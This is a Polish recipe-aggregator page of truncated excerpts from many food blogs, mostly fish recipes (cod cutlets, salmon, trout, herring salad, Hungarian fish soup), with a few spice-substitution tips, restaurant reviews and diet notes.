Piekłam niedawno dorsza z cebulą . Porcja była spora, nie udało się całego zjeść. Następnego dnia pozostałą upieczoną rybę przerobiłam na pyszne kotlety. O ile dorsz , zwłaszcza ten suszony, portugalski, nie należy do moich ulubionych, to muszę przyznać, że w postaci kotletów sprawdza się znakomicie. Bardzo polecam! składniki ok 180 g dorsza, upieczonego, bez ości i skóry 1 cebula, pokrojona(...)polać  z oliwą z oliwek z obu stron ,dobrze posolić i popieprzyć. Piec przez około 15 do 20 minut . Wyjąć z piekarnika i ostudzić. Pomagając sobie widelcem,podzielić rybę na bardzo drobne kawałki, skórę wyrzucić (nie używać robota kuchennego.) Pokrojoną cebulę zeszklić na łyżce oliwy, dodać czosnek i chwilę smażyć razem, aż zmiękną. Rybę umieścić  w  misce

Stare Gary
Ostry dip do mięsa i warzyw - salata hara 210

Salata hara (znany też pod jemeńską nazwą zhug ) - to rodzaj pikantnego dipa do mięsa, ryb lub warzyw stosowanego na całym Bliskim Wschodzie .  W zależności od regionu różni się on nieco składnikami, a tym samym także smakiem. Poniżej dwie(...)najbardziej popularne w Al-Khobar i Jubail, wersje salata hara stosowane do pieczonych mięs i warzyw.  Oba dipy charakteryzyją się ostrym wyrazistym smakiem. Salata hara do mięsa i ryb   Składniki 3 posiekane pomidory   2 posiekane czerwone chili wraz z nasionami 3 - 4 łyżki natki ze świeżej kolendry   opcjonalnie 3 ząbki czosnku

Kulinaria - potrawy z różnych stron świata
Kuchenne zamienniki - co czym zastąpić i do czego stosować 185

zdominować smaku potrawy. Amchur (amchoor) - sproszkowane zielone mango Można zastąpić: sokiem z limonki lub w ostateczności z cytryny pastą z tamaryndowca Stosować do curry, warzyw, mięsa i ryb. Asafetyda (czarcie łajno, smrodzieniec) Można zastąpić: suszoną sproszkowaną cebulą lub suszonym sproszkowanym czosnkiem Bazylia świeża i suszona Można zastąpić estragonem cząbrem. Curry liście Można zastąpić świeżą bazylią lub liścmi limonki kaffir(...)najłatwiejszy w użyciu). Poszczególne rodzaje kardamonu mają też różne zastosowanie: kardamon zielony - najbardziej uniwersalny o słodkawo pikantnym smaku stosuje się do kawy ( tutaj przepis ), herbaty, deserów, duszonych mięs, zup, ryb, pasztetów i sałatek. Zielony lub czarny kardamon można też doda do gulaszu z wołowiny i ... bigosu. kardamon biały - to wybielony zielony kardamon, używany jest głównie do deserów i pieczywa

Kulinaria - potrawy z różnych stron świata
Kotlety rybne w sosie pomidorowym 193

ryba 2 jajka  sól, pieprz cebula tłuszcz do smażenia bułka tarta lub kasza manna         Składniki na sos: 1 mała puszka koncentratu pomidorowego, jeśli za mało użyć dwie 4 ząbki czosnku 1 cebula oliwa do smażenia 120 ml bulionu warzywnego 1 łyżeczka tymianku  liść laurowy, sól, pieprz, ewentualnie cukier do smaku Przygotowanie: Mięso z ryby zmielić, dodać do smaku sól, pieprz, 2 małe jajka, pokrojoną drobno cebulę i wszystko dokładnie wyrobić Jeśli masa będzie zbyt rzadka dodać łyżkę lub dwie bułki tartej lub kaszy manny - wymieszać dokładnie Pozostawić na chwilę, by składniki dobrze się połączyły Formować małe płaskie kotleciki i smażyć na gorącym tłuszczu z obu stron na rumiano Przygotować sos; cebulę i czosnek

Proste Potrawy
Łosoś na słodko, w glazurze z cydru i miodu 171

Połączenie ryby z cydrem i miodem, może być szokujące, ale dla osób, które lubią dania mięsne na słodko - polecam z czystym sumieniem. Karmelizowany cydr dodaje smaku rybie. Łososia robi się w max 20 minut i obiad gotowy. Do tego sałata z prostym sosem vinaigrette i tylko się zajadać. Do dania potrzebujemy, aż 6 składników - łososia, cydru, miodu, oliwy, soli(...)rozgrzać łyżkę oliwy. Dodać 2 łyżki karmelu i ułożyć łososia (skórą do góry). Smażyć na średnik ogniu, ok. 2-3 minuty (na złoto) i przewrócić na skórę. Smażyć, aż ryba będzie gotowa ok 5-7 minut.  Łososia wyłożyć na talerz i polać cydrowo-miodowym karmelem. Smacznego! * użyłam Cydru Lubelskiego

CookYourself
Flądra w sezamie 123

Zachwycałam się już dorszem, a teraz przyszedł czas na kolejną morską rybę - flądrę. Każdy, kto choć raz spędzał wakacje nad naszym morzem, to musiał się na nią natknąć, w którejś z licznych smażalni.  Nie ma  w tym nic dziwnego, ponieważ właśnie w wakacje jest sezon na flądrę i wtedy smakuje ona najlepiej. Zazwyczaj jest podawana najprościej(...)soli szczypta pieprzu olej do smażenia Flądry oczyścić, umyć i osuszyć czystą ściereczką lub mocnym ręcznikiem papierowym. Sok z limonki wymieszać ze startym imbirem, solą i pieprzem. Mieszanką natrzeć rybę i odstawić na 15 minut do lodówki. Mąkę wysypać na talerz. Przygotować dwa głębokie naczynia. W pierwszym roztrzepać jajko z 2 łyżkami oleju sezamowego, a w drugim wymieszać bułkę tartą

Pełny talerz
Sałatka śledziowa 318

rodzinnym domu śledzie na stole pojawiały się przez okrągły rok (może latem trochę rzadziej). Moja Mama mogłaby wydać chyba kilka książek zatytułowanych "Śledź na 100 sposobów". Ja, chociaż uwielbiam ryby, to przez wiele lat nie mogłam się przekonać do śledzi. Wręcz ich unikałam. Jednak M. bardzo je lubi, więc postanowiłam "oswoić śledzia". Zaczęło się to mniej więcej 2 lata(...)dużej ilości zimnej wody przez 4-6 godzin, kilkakrotnie zmieniając w tym czasie wodę. Cebulę obrać, pokroić w piórka. Śledzie wyjąć osączyć na grubym ręczniku papierowym, pokroić w dzwonka. Rybę ułożyć w naczyniu, posypać pieprzem, przykryć warstwą cebuli. Całość skropić olejem, odstawić na 15 minut. Fasolę osączyć na sitku. Paprykę osączyć, pokroić w niewielkie paski. Ogórki pokroić w kostkę. Wszystkie

Pełny talerz
Makaron penne z wędzoną makrelą 119

suszonych pomidorów ½ łyżeczki oregano 3 łyżki białego wina 4 łyżki śmietanki 30% 1 czubata łyżka posiekanej bazylii 1 łyżka kaparów (opcjonalnie) Makrelę obrać ze skóry, oczyścić z ości. Rybę podzielić na mniejsze kawałki. Makaron ugotować al dente. W czasie, gdy makaron się gotuje przygotować sos. Cebulę i czosnek obrać. Cebulę pokroić w kostkę, czosnek drobno posiekać. Papryczkę przeciąć wzdłuż(...)Dodać pomidory, oregano, czosnek i chilli chwilę podsmażyć (1-2 minuty). Zmniejszyć moc, dodać wino i odczekać minutę. Następnie dodać śmietankę, poczekać aż sos zgęstnieje. Na koniec dodać kawałki ryby, dusić tylko do chwili gdy makrela się podgrzeje. Jeżeli sos jest za gęsty można rozrzedzić go odrobiną wody z gotowania makaronu. Makaron odcedzić, wymieszać na patelni z pozostałymi składnikami

Pełny talerz
Łosoś norweski z sorbetem truskawkowym na sałatce z pieczonymi pomidorkami 130

Przeciwieństwa się przyciągają. Nawet w kuchni. O tym wszyscy doskonale wiedzą. Połączenie owoców z rybą też raczej już nie zaskakuje. Wymyśliłam sobie jednak, że do tego dorzucę jeszcze jedno zestawienie przeciwieństw. Gorąco-zimno. Coś dla ochłody przy rozgrzanym grillu. Myślałam, że niełatwo będzie przekonać współbiesiadników, że do gorącego grillowanego norweskiego łososia idealnym dodatkiem jest... sorbet truskawkowy. I to nie dlatego(...)papierowym. Pokroić na 4 porcje (równo nie zawsze znaczy sprawiedliwie ;) ). Sok z cytryny wymieszać z miodem, olejem, octem balsamicznym oraz solą i pieprzem. Do szczelnie zamykanego pojemnika wsadzić kawałki ryby. Zalać przygotowaną marynatą. Pojemnik zamknąć, odstawić do lodówki na 2 godziny. Od czasu do czasu odwrócić na chwilę pojemnik do góry dnem. Zamarynowanego łososia grillować po 3-4 minuty

Pełny talerz
Tradycyjna surówka z kiszonej kapusty 285

zrobieniu może poleżeć w lodówce kilka dni, więc można przygotować z większej ilości na zapas. Jest świetnym dodatkiem do drugiego dania, pasuje zarówno do mięsa jak i do ryb. Ta surówka ma cztery podstawowe składniki: kiszona kapusta, jabłko, cebula i marchew, oraz dodatki: sól, cukier, pieprz(...)natka pietruszki oraz olej. Można też surówki przygotować inaczej: Surówka z kiszonej kapusty bez cebuli Surówka z marchewki – dietetyczna Surówka z kapusty, pora i koperku Surówka Colesław Surówka do ryby smażonej Surówka z kapusty pekińskiej surówka z modrej kapusty . surówka z młodej kapusty surówka z warzyw z papryką Klasyczna surówka z kiszonej kapusty: 500 g kiszonej kapusty

Damsko-męskie spojrzenie na kuchnię
Pulpeciki rybne w sosie koperkowym 140

Pulpeciki rybne w sosie koperkowym Składniki:   pół kg filetów, np. z miruny 1 cebula 1 ząbek czosnku 3-4 łyżki bułki tartej sól, pieprz przyprawa do ryb(...)koperek (mrożony/świeży) mąka 3 łyżki śmietany 30% 2 łyżki wody olej 1. Cebulę i czosnek obrać i drobno pokroić. Przygotowane składniki przesmażyć na rozgrzanym tłuszczu. 2. Ryby umyć, osuszyć, pokroić na mniejsze kawałki i zmielić (na średnich oczkach). 3. Do zmielonej masy dodać przesmażoną cebulę i czosnek, połowę koperku, bułkę tartą i przyprawy. Wszystko ze sobą połączyć

Ugotować
Łosoś w marynacie cytrynowo-czosnkowej 136

Kolejny pomysł na rybę z grilla - tym razem łosoś marynowany z sokiem cytryny i czosnkiem.Do tego danie polecam świeżego łososia, którego najlepiej kupić w całości i pociąć w zgrabne dzwonki. Składniki: świeży łosoś (mój kawałek miał 800 g) sok z 1 cytryny sól, pieprz kolorowy mielony przyprawa do ryby  oliwa z oliwek 2 ząbki czosnku Łososia umyć, osuszyć(...)łusek i pociąć w zgrabne kawałki. Czosnek obrać i pokroić w drobną kostkę. Kawałki łososia przyprawić, polać sokiem z cytryny i polać oliwą z oliwek. Całość delikatnie wymieszać. Przygotowaną rybę wstawić na kilka godzin do lodówki, aby łosoś mógł "przejść" przyprawami. Na tacce grillowej ułożyć zamarynowane kawałki łososia i grillować tak długo, aż mięso zmieni kolor na jaśniejszy. Po wyjęciu

Ugotować
Łosoś z piekarnika 532

piekarnika, jedliśmy go podczas ubieglorocznej Wigilii. Zdjęć jest niewiele, jak to w Święta bywa, ale smak warty polecenia. Składniki: 800 g filetu łososia norweskiego ze skórą Marynata do ryby: sok z 1 cytryny 1 łyżeczka miodu 3 łyżki octu winnego 3 łyżki oleju z pestek dyni 2 łyżki sosu sojowego ciemnego 2 ząbki czosnku przeciśnięte przez(...)praskę 1/3 łyżeczki papryki słodkiej  1/3 łyżeczki cynamonu sól i pieprz czarny młotkowany do smaku Przygotowanie: Łososia przekroić na 4 porcje. Składniki marynaty połaczyć i zalać nią  rybę, pozostawićć pod przykryviem na około 3-4 godziny. Łososia wyjąć z marynaty i ułożyć na blaszce do grilowania, polać pozostałą marynatą. Piec w piekarniku z opcją grill nastawionym

Gosia gotuje
Tuńczyk w sosie teriyaki 138

Gdyby ktoś podał mi go pierwszy raz nie mówiąc że to ryba, mogłabym go pomylić z bardzo delikatnym, mięsem wieprzowym- wybaczcie porównanie, gotuję z zamiłowania i to pierwsze przyszło mi na myśl :) Do tego sos, bardzo intensywny, jednak mimo tego nie był w stanie przyćmić smaku ryby, stworzył z nią po prostu jedność, idealny smak, którego nie da się

Czerwona Porzeczka
Mała bezmięsna rewolucja i marokańska sałatka z marchewki 190

oczyścimy nasze organizmy po świątecznym obżarstwie. Mój Mąż przeszedł na weganizm, ja jednak, z uwagi na to, że jestem w ciąży, uzupełniałam swoją dietę o produkty mleczne i odrobinę ryb. Jestem świadoma tego, że kobieta w ciąży może dostarczyć swojemu organizmowi wszystkie składniki na diecie wegańskiej, jednak to wymaga wiedzy i wprawy, wolałam więc nie ryzykować, bowiem efekty moich(...)Zgodnie z zasadami klasycznej diety śródziemnomorskiej po kurczaka można sięgać raz w tygodniu, po czerwone mięso jeszcze rzadziej, zatem mój sposób odżywiania oparty na produktach roślinnych uzupełnianych pewną ilością ryb, nabiału i jajek jak najbardziej wpisuje się w ten model. Kuchnia śródziemnomorska jest dla mnie niekończącym się źródłem inspiracji na bezmięsne dania i pomysłów na bloga z pewnością

Chilli Czosnek i Oliwa
Zielona tarta na Irlandzki Dzień Św. Patryka 174

Cebulę pokroić w kostkę i podsmażyć na patelni na złoto. Pod koniec dodać pokrojone w cienkie plasterki ząbki czosnku - czosnek lubi się przypalać, stąd smażyć go krótko. Rybę oczyścić z ości i skóry, pokroić w kawałki i dodać dołożyć do składników na patelni - kawałki nie muszą być zbyt drobne, i tak ryba rozpadnie się podczas smażenia. Cebula, czosnek, ryba, pieczarki

Grunt to przepis!
Palcem po mapie: Ostróda, Trattoria La Riva 192

mało, jak na tę potrawę, mięsa. No chyba, że było za dużo makaronu? ;) Spaghetti z parmezanem w delikatnym sosie pomidorowym - potrawa z karty dziecięcej, jedzącemu smakowała bardzo! Ryby Smażony sandacz z masłem czosnkowo-ziołowym podawany na chrupiącym groszku cukrowym - kolejna kompletnie niedoprawiona potrawa... Brak soli, brak pieprzu... Bardzo szkoda, bardzo!; koszt: 43 Smażony dorsz podawany prosto z patelni(...)pizzy (o której na końcu), to było chyba najlepsze danie, które zostało zamówione! Dorsz - przepyszny, kapusta - bardzo dobra. Jedynie po ziemniakach nie było czuć, że były wędzone, ale smak ryby sprawiał, że ten szczegół można było pominąć ;); koszt: 36 zł   Dania mięsne  Krwisty sycylijski burger z wołowiny podany z serem Lazur, soczystym pomidorem, rukolą, kaparami, suszonymi pomidorami

Ewa Kuchennie - Kuchnia to serce domu!
Duszone pory z prażonymi orzechami laskowymi 197

Duszone pory w białym winie, z dodatkiem czosnku i świeżego tymianku. Posypane prażonymi orzechami laskowymi. Świetny dodatek do mięs czy ryb. Polecam w towarzystwie Soczystej dorady pieczonej pod solną skorupą , która wcale nie jest słona :) Składniki: (4 porcje) 4 pory (tylko białe części) oliwa lub olej do podsmażenia 3 ząbki czosnku 3 łodygi świeżego tymianku łyżka masła 150ml białego(...)końcem , aby namiar płynu odparował. Wyłóż pory na talerz, posyp uprażonymi orzechami laskowymi i posyp natką pietruszki. Polej sosem pozostałym z duszenia porów. Podawaj jako dodatek do mięs lub ryb. Ja podałam w towarzystwie „Soczystej dorady pieczonej pod solną skorupą ” i „ Pieczonych ziemniaczków z chilli i kurkumą „ . źródło: „Gordon Ramsay’s Ultimate Home

Moja Delicja
Makaron z łososiem w porach 238

użyłam Makaron Międzybrodzki wstążki),  sól, pieprz,  szczypiorek do posypania. Wykonanie Makaron ugotować w osolonym wrzątku, odcedzić. Odkroić skórę od łososia, rybę pokroić w kosteczkę. Podsmażyć na suchej patelni. Pora dokładnie umyć, posiekać, dodać do ryby, podlać odrobiną wody i dusić do miękkości, około 10 minut. Pod koniec duszenia dodać serek, doprawić do smaku solą i pieprzem

Z miłości do słodkości
Łosoś pod ziołową pierzynką ze słonecznikiem i szalotką 180

Ostatnio częściej jem ryby, więc postanowiłam się podzielić kolejnym przepisem, który był trochę eksperymentalnie stworzony, ale przeszedł moje najśmielsze oczekiwania :) Składniki: 200 gramów łososia 1 łyżka świeżej posiekanej pietruszki 1 łyżka świeżej posiekanej bazylii 2 łyżki słonecznika 1 szalotka 2 łyżki octu jabłkowego szczypta soli morskiej z papryczką chili W łososia wetrzeć ocet jabłkowy i posolić solą morską(...)odstawić na 10 minut W tym czasie szalotkę pokroić w piórka Włączyć piekarnik na 180 stopni C Łososia posypać słonecznikiem i obłożyć szalotką pokrojoną w piórka i posypać ziołami Rybę szczelnie zamknąć w folię aluminiową i włożyć do naczynia żaroodpornego Piec 25 minut Ja podałam z ziemniakami i z miksem sałat. Na zdrowie :) W myśl akcji

www.szczesliwakuchnia.blogspot.com
Dorsz cytrynowy panierowany, smażony 261

Lubicie smażoną rybę ? Taką z chrupiącą panierką? To klasyczne danie, często podawane w polskich domach na piątkowy obiad. Ja też taką czasami smażę. Mięso ryby otulone panierką jest soczyste a pieprz i cytryna nadają mu charakteru. Tym razem kupiłam i przyrządziłam nieduże filety - takie akurat były. Powstały rybne sznycle, które można zjeść na gorąco albo na zimno. Spróbuj też

Smaczna Pyza
Faszerowane awokado 225

łyżek sosu Teriyaki np. YAMASA 2 szczypty ostrej papryki w proszku Rybę odsączamy, przekładamy do miszecki, zalewamy sosem Teriyaki i ostrożnie mieszamy. Odstawiamy na kilka minut. W tym czasie przekrajamy awokado na pół i przekręcamy połówki, aby się rozdzieliły. Usuwamy pestkę, a na jej miejsce nakładamy kawałki ryby w sosie. Całość przyprawiamy odrobiną ostrej papryki. Jemy łyżką nabierając miąższ(...)awokado wraz z rybą. Do takiego awokado polecam lekką sałatkę (u mnie garść mieszanki sałat z kilkoma pomidorkami koktajlowymi skropione oliwą cytrynową). Smacznego

Zawsze głodna!
La Boqueria 140

ominięcia. Codziennie kusi tłumy ludzi świeżymi owocami (również tymi z morza), warzywami, rybami oraz mięsem. Już przy wejściu barwy i zapachy otaczają z każdej strony. Przy stoiskach z rybami i owocami morza kłębi się więcej ludzi z aparatami, niż samych kupujących, na co sprzedawcy reagują wyrazem dezaprobaty. Przechodząc obok, jeszcze żywych, dorodnych krabów  zachowałam odpowiedni dystans

pink envelope
Tuńczyk! 287

wyobrażenie o tuńczyku zawsze było, że to taka mała rybka jak szprotka, ewentualnie może być jak  śledzik bałtycki. Dopiero kolega w pracy, kiedy na przerwie zeszliśmy na temat ryb i połowu, pojawiło się hasło tuńczyk, ja na to - 'aha, no wiem, to taka mała rybka'. Kolega odpala Google i pokazuje mi tą moją "małą rybkę". Moje zdziwienie ogromne(...)pory mam w głowie jedną fotografię, jak pan rybak zabiera się za wyłowionego tuńczyka z maczetą. My tu o rybach, a sałatka czeka :) Prosta, szybka i zdrowa, bo z ryżem i małą ilością majonezu. Składniki 2 torebki ryżu naturalnego 1 puszka tuńczyka w sosie własnym 4 ogórki konserwowe 3 jajka ugotowane na twardo pół papryki czerwonej 1 cebula

pink envelope
Pasta ze szprotek w sosie pomidorowym. 187

Pasty doskonały dodatek na śniadanko lub kolację. Bardzo często robię tzw. pastę "co się na winie". Tym razem nie było ryby w oleju więc(...)poszła w pomidorach. W efekcie bardzo smaczna pasta. Polecam. SKŁADNIKI 1 puszka sardynek w pomidorach 1 pęczek szczypiorku 10 dag twarogu 4 jajka sól , pieprz 1 łyżka majonezu WYKONANIE: Rybę wyjmujemy z puszki. nadmiar sosu wylewamy. Dodajemy ugotowane i przetarte jajka, twaróg. Wszystko dobrze rozgniatamy widelcem. Można zblendować. Osobiście wolę jak są wyczuwalne kawałki. Dodać posiekany szczypior. Trochę posolić

W kuchennym oknie Ewy
Sojowy kebab – gyros i z OpenCard w Kyoto Sushi 152

przypomina ciasto francuskie kampyo suszona tykwa kabayaki węgorz japoński   miso tradycyjna zupa japońska, w składzie: bulion dashi, pasta miso, wodorosty wakame, tofu oshinko marynowana rzepa sashimi sposób serwowania ryb i owoców morza, pokrojonych w płatki lub kostkę z dodatkiem przypraw shiitake gatunek grzybów(...)japońskich tempura warzywa, owoce morza lub owoce smażone w specjalnym cieście teriyaki rodzaj japońskiego sosu, którego główne składniki to sos sojowy, miód lub cukier i sake - mirin tobiko kawior ryby latającej tofu twarożek sojowy wasabi japoński chrzan, koloru zielonego Żródło informacji: strona restauracji   i Wikipedia. Soy kebab-gyros Taste effect inversly proportional to preparation time needed

Qlinarnie i Qlinarnie
68. Rybne pulpety z zalewy octowej 133

Pulpety: 250 g rybnych filetów 1 mała bułka 1 jajko 1 cebula Przyprawa do ryb Sól, pieprz Olej do smażenia(...)Bułka tarta do panierki Zalewa: 4 szklanki wody 1 szklanka octu 10% 1/3 szklanki cukru 2 łyżeczki soli 1 cebula pokrojona w piórka ziele angielskie, pieprz, 6 liści laurowych Rybę ugotować w osolonej wodzie przez 5 minut, następnie zmielić Bułkę namoczyć w wodzie, odsączyć Cebulę poszatkować Wszystkie składniki wymieszać razem i wyrobić na jednolitą masę, gdyby masa była zbyt luźna

Jadło i czytadło
Wiszące ryby 97

Stragany przyozdobione były wiszącymi, niewypatroszonymi sporymi rybami. Te ostatnie kupowano najchętniej, mimo wysokiej ceny i lekkiego smrodu, zalatującego od każdej z ryb.   Chłonąc widoki, wypatrywaliśmy wysokich gór. Kiedy ukazał się nam majestatyczny Kaukaz, byliśmy szczęśliwi. Zapominając o niesnaskach, zatrzymaliśmy samochód i wyskoczywszy z jego wnętrza fotografowaliśmy się na tle górskiego łańcucha we wszystkich możliwych konfiguracjach. Tego dnia

Jadło i czytadło
Kotlety rybne z morszczuka. Smaczne nie tylko na piątkowy obiad. 318

Bardzo smaczne kotleciki mielone u mnie z morszczuka, ale może to być każda inna ryba, byle by tylko nie była za bardzo nawodniona.. Delikatne i chrupiące, świetna propozycja na piątkowy obiad ale nie tylko. Smakują bardzo dzieciom, moja już prawia dorosła córka, stwierdziła " pyszne takie pamiętam z przedszkola " :) Polecam :) Składniki - filety z morszczuka 60 dkg. - jajko - bułka tarta - zielona(...)papryka słodka mielona - kilka kropel soku z cytryny - czosnek 1 ząbek Wykonanie. Rozmrożone i osuszone filety kroje na mniejsze kawałki, mielę w maszynce do mielenia mięsa. Dodaje do zmielonej ryby surowe jajko, drobno pokrojoną zielona cebulkę, przeciśnięty przez praskę czosnek, przyprawy, kilka kropel soku z cytryny i ok.3-4 łyżki bułki tartej. Mieszam wszystko bardzo dokładnie do połączenia składników. Masę

Kuchnia z widokiem na ogród
Pstrąg pieczony z piekarnika. Smaczna ryba w pietruszokowo-czosnkowej marynacie. 185

Składniki : - pstrąg wypatroszony ( u mnie bez głowy i ogona ) - olej 2 łyżki - pietruszka suszona 1 łyżka - czosnek suszony 1 łyżeczka - domowa wegeta ( lub sól, pieprz, lub ulubiona przyprawa do ryb ) Wykonanie Dokładnie oczyszczonego i umytego pstrąga osuszam papierowymi ręczniczkami.  W małej miseczce przygotowuję marynatę: olej mieszam z pietruszką, czosnkiem i przyprawami. Powstałą marynatą nacieram pstrąga dokładnie wewnątrz(...)piekarnika, piekę ok.30 minut z termoobiegiem, w połowie czasu pieczenia, obracam pstrągi na drugą stronę, zmniejszam temperaturę do ok.180 stopni C. Czas pieczenia zależy od wielkości pstragów, trzeba sprawdzać, ryba jest gotowa kiedy jej mięso zbieleje. Nie można piec za długo bo będzie sucha. Tak przygotowane pstrągi podaję zazwyczaj z frytkami i dowolną surówką. Dziś na życzenie córki zamiennik surówki

Kuchnia z widokiem na ogród
Pieczony pstrąg nadziewany grzybami / Mushroom stuffed trout 197

Dziś przedstawiam pomysł na zdrowy i lekki obiad z rybą w roli głównej. Pieczony pstrąg nadziewany grzybami i ziołami zachwyci wszystkich fanów zdrowego odżywiania. Danie jest łatwe i szybkie w przygotowaniu, co na pewno docenią pracujący na cały etat:). Na szczęście pstrągi są teraz bardzo powszechnie dostępne i w zazwyczaj dobrej cenie więc pozostaje się tylko nimi cieszyć. Polecam! Scroll(...)smaż kolejną minutę. Przełóż zawartość patelni do miski z boczkiem i dokładnie wymieszaj. Włóż połowę farszu do wnętrza pstrąga i zepnij go wykałaczkami, powtórz to samo z drugą rybą. Ułóż je w natłuszczonym naczyniu do zapiekania i piecz w temperaturze 200 ° C przez 15 minut. Smacznego! English version Mushroom stuffed trout (2 servings) Ingredients: 2 trouts, cleaned and washed

karmelowy
Sałatka z wędzonym łososiem. 323

smakoszy wędzonego łososia ta sałatka to strzał w dziesiątkę.  Ryby to bardzo bogate źródło wysokowartościowego białka i witamin, zaś łosoś to jedna z najcenniejszych ryb. Jego tłuszcz chroni przed miażdżycą, obniża poziom cholesterolu, poprawia układ krążenia w całym organizmie i wzmacnia pracę serca. Moja sałatka jest szybka do przygotowania, efektowna i bardzo smaczna . SKŁADNIKI: 1 mała sałata

Kuchnia Beaty
Halászlé, czyli węgierska zupa rybna 183

przeciwieństwie do nas nie maja dostepu do morza, a zupa ta króluje prawie w każdej restauracji. Tajemnica jej sukcesu jest jednak prosta, gdyż nadają się do niej najlepiej właśnie ryby słodkowodne, a ponadto Węgrzy mają chyba najlepszą paprykę na świecie. Składniki: 1 cały karp 1,5 kg 300 g fileta z sandacza 2 duże cebule(...)puszka (400 g) pomidorów pelati 2 czerwone papryki 1 papryczka chili 1 łyżka słodkiej papryki w proszku sól garść świeżej natki pietruszki 1/2 szklanki czerwonego wytrawnego wina Sposób przygotowania: Rybę umyć i oczyścić, ostrym nożem wyciąć filety a pozostałe części umieścić w garnku. Dorzucić cebulę, pomidory i papryczkę chili w całości,  zalać 1.5l wody i gotować 1 godzinę

Gosia gotuje
Dorsz w korzennej marynacie 107

pół łyżeczki kardamonu w ziarnach 1/2 łyżeczki soli 2 łyżeczki  cukru 1/2 szklanki octu 1 i 1/2 szklanki wody olej do smażenia mąka do panierowania 1 jajko Przygotowanie: Rybę rozmrozić, wytrzeć do sucha papierowym ręcznikiem i przekroić na mniejsze porcje. Do miseczki wbić jajko i dokładnie roztrzepać, do drugiej wsypać mąkę.Rybę panierować najpierw w mące, potem jajku(...)Gotujemy do momentu aż cebula zmięknie, następnie dolewamy ocet i zagotowujemy.Ja lubię zalewę słodko-kwaśną, wiec nie żałuję cukru i zdarza mi się czasem jeszcze na koniec ją dosłodzić. Rybę przekładamy do miski, zalewamy gorąca marynatą. Szczelnie zabezpieczamy folią i odstawiamy do ostygnięcia , a potem na kilkanaście godzin umieszczamy  ją w lodówce

Gosia gotuje
Chlebowe smarowidło - dietetyczna pasta rybna 272

receptura na pastę z wędzonej makreli i twarogu. Pasta z wędzonej ryby Składniki: 1 duża wędzona makrela 250 dag chudego twarogu 1 mała czerwona cebula 3 rzodkiewki pieprz Rybę oddzielić od ości, zemleć razem z twarogiem, dodać posiekaną drobno rzodkiewkę i cebulę. Doprawić pieprzem

Apetyt na więcej - jadłodajnia dla duszy i ciała
Ryba na parze z płatkami papryki i nutą cytrusową 165

niskokaloryczna.  SKŁADNIKI: 2 wypatroszone gładzice 2 łyżki oliwy z oliwek papryka ostra w płatkach 3 łyżki posiekanego koperku sok i skórka otarta z limonki biały pieprz sól WYKONANIE: Rybę dokładnie myjemy i osuszamy ręcznikami papierowymi. Koperek myjemy i drobno siekamy. Z oliwy z oliwek, soku, oraz skórki z cytryny, koperku, płatków papryki, soli orz białego pieprzu przygotowujemy marynatę. Rybę(...)marynujemy przez kilka godzin (im dłużej tym lepiej przejdzie aromatem ziół i przypraw). W garnku zagotowujemy wodę. Na sitko do gotowania na parze wykładamy rybę polewamy marynatą. Gotujemy na parze przez 20 minut. Serwujemy w towarzystwie pomidorowej salsy i ziemniaków/frytek

Pyry na Gaz
Pieczony łosoś z sosem z wina 132

kolejne danie, które daje się przyrządzić w pół godziny, a nawet w 20 minut. Łosoś piecze się bardzo szybko, a pieczenia nie należy przedłużać, by ryba nie zrobiła się sucha. Zbyt długo pieczonego łososia może też nie udać nam się wyjąć w jednym kawałku. Składniki (dwa 2 osób): filet z łososia (ok. 400 g) 1 łyżka oliwy 1 cytryna(...)sól Sposób przygotowania: Płat łososia umyć i podzielić w poprzek na dwa kawałki. Nasmarować solą, skropić cytryną i posypać świeżo mielonym cytrynowym pieprzem. Dno naczynia żaroodpornego nasmarować oliwą, wyłożyć rybę i bez przykrycia wstawić do piekarnika rozgrzanego do 200 stopni Celsjusza na 20 minut. Pod koniec czasu pieczenia przygotować sos. W rondlu rozpuścić masło, dodać mąkę i na średnim ogniu

W SMAK
Delikatne kotleciki rybne w sosie maślanym na sosie pieczarkowym 178

Pracochłonne... Tuczące bo tłuste... Ale w smaku tak pyszne, że jeśli zjemy taką rybę raz na jakiś czas, to nic nam się nie stanie. Bo niby czemu mamy sobie odmawiać czegoś, skoro jest smaczne? :) Składniki na kotlety: 400 gramów filetów z dorsza 1 białko 7 łyżek śmietany 18% 4-5 płaskich łyżek mąki sól szczypta gałki muszkatołowej szczypta pieprzu ziołowego(...)dodajemy połowę śmietany, mieszamy i wstawiamy z powrotem na gaz dodając powoli pozostałą ilość śmietany Doprawiamy do smaku Na talerzu ustawiamy kopczyk z pieczarek, na to kładziemy kotlet z ryby i polewamy sosem maślanym Smacznego :) W myśl akcji

www.szczesliwakuchnia.blogspot.com
Zdrowe święta! 112

lżejsze wersje ciast – używajmy mąki z pełnego przemiału, płatków owsianych,  puree z fasoli, otrębów.  Słodkie dżemy zastąpmy owocami, cukier miodem.          Nie katujmy ryb ciężką panierką , zamiast tego pieczmy je w piekarniku, w folii – gwarantuje, że będą smaczniejsze od tych panierowanych. Podobnie z krokietami - zróbmy panierkę z płatków owsianych i upieczmy(...)szybciej się najemy          Uwaga na alkohol – wzmaga apetyt!          Jeśli nie mamy wpływu na menu, starajmy się zdejmować panierkę z ryb , wybierać sałatki bez majonezu. Kolację zacznijmy od niskokalorycznych potraw, dzięki temu zjemy mniej tych tłustych. Uzupełniajmy dania warzywami – szybciej się nasycimy.          Delektujmy się smakiem

Powiedz dietom nie
Jak wzmocnić odporność? 130

zawierała: Cynk – ma on ważny wkład w budowanie odporności naszego organizmu. Cynk znajdziemy w pestkach dyni, słonecznika, kaszy gryczanej, razowych produktach (makaron, chleb), ryżu brązowym, płatkach owsianych, pieczywie graham, rybach i owocach morza. Witaminę C – jej rola w profilaktyce przeziębienia jest dość sporna. Istnieją badania wykazujące, że codzienne przyjmowanie witaminy C obniża ryzyko zachorowania jedynie u maratończyków. Niemniej jednak(...)zawartość zależy od jego ilości w glebie oraz od rodzaju produktu. Najlepszym źródłem są drożdże, produkty zbożowe, jaja i orzechy. Niezbędne nienasycone kwasy tłuszczowe - powinno się wybierać głównie tłuste ryby morskie które tych kwasów mają najwięcej. Przykładowo łosoś, makrela, sardynki. Żelazo – jest znacznie lepiej przyswajalne z produktów mięsnych (wątróbka nerki, czerwone mięso) niż z innych źródeł (grube kasze, buraki

Powiedz dietom nie
Ryby w zalewie pomidorowej 348

